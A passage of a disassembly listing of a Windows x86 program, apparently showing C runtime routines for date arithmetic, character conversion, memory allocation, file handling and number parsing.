		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, ds:dword_43C010
		setnl	cl

loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------

loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, ds:dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------

loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, ds:dword_43C054[esi]

loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------

loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, ds:dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------

loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, ds:dword_43C058[esi]

loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------

loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, ds:dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------

loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, ds:dword_43C054[eax*4]

loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]

loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------

loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------

loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	ds:dword_43C020, eax

loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	ds:dword_43C01C, ecx

loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	ds:dword_43C018, ebx

loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx

loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax

loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	ds:dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax

loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, ds:off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, ds:dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_48A0B8
		call	ds:dword_424070	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_4397AC
		jnz	short loc_420EBD

loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD

loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	ds:dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_48A0B8
		call	ds:dword_424070	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB

loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax

loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax

loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: sub_41F12F+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, ds:word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------

loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax

loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------

loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_4240E0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, ds:off_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; sub_49C076
		test	eax, eax
		mov	ds:dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; sub_49C076
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_48A2E0, eax
		call	esi ; sub_49C076
		mov	ds:dword_48A2E4, eax

loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, ds:dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, ds:dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_48A2DC

loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi

loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, ds:dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------

loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, ds:dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192

loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C

loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	ds:dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------

loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]

loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi

loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------

loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7

loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_48B320, esi
		jle	short loc_4211EC

loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, ds:dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi

loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, ds:dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, ds:dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, ds:dword_48B320
		jl	short loc_4211A8

loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi

loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------

loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	ds:dword_48A018, 5
		jnz	short loc_4212C3
		mov	ds:dword_48A014, 0Dh

loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh

loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------

loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		call	ds:dword_424010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	ds:dword_48A014, 0Dh
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_48A018, eax

loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------

loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	ds:dword_48A014, 9

loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh

loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350

loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax

loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]

loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]

loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax

loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi

loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------

loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h

loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------

loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C

loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------

loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi

loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump

loc_421542:				; DATA XREF: _0:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553

loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------

loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, ds:byte_4397B0
		jnz	short loc_421562

loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------

loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421588:				; CODE XREF: sub_4214D8+90j
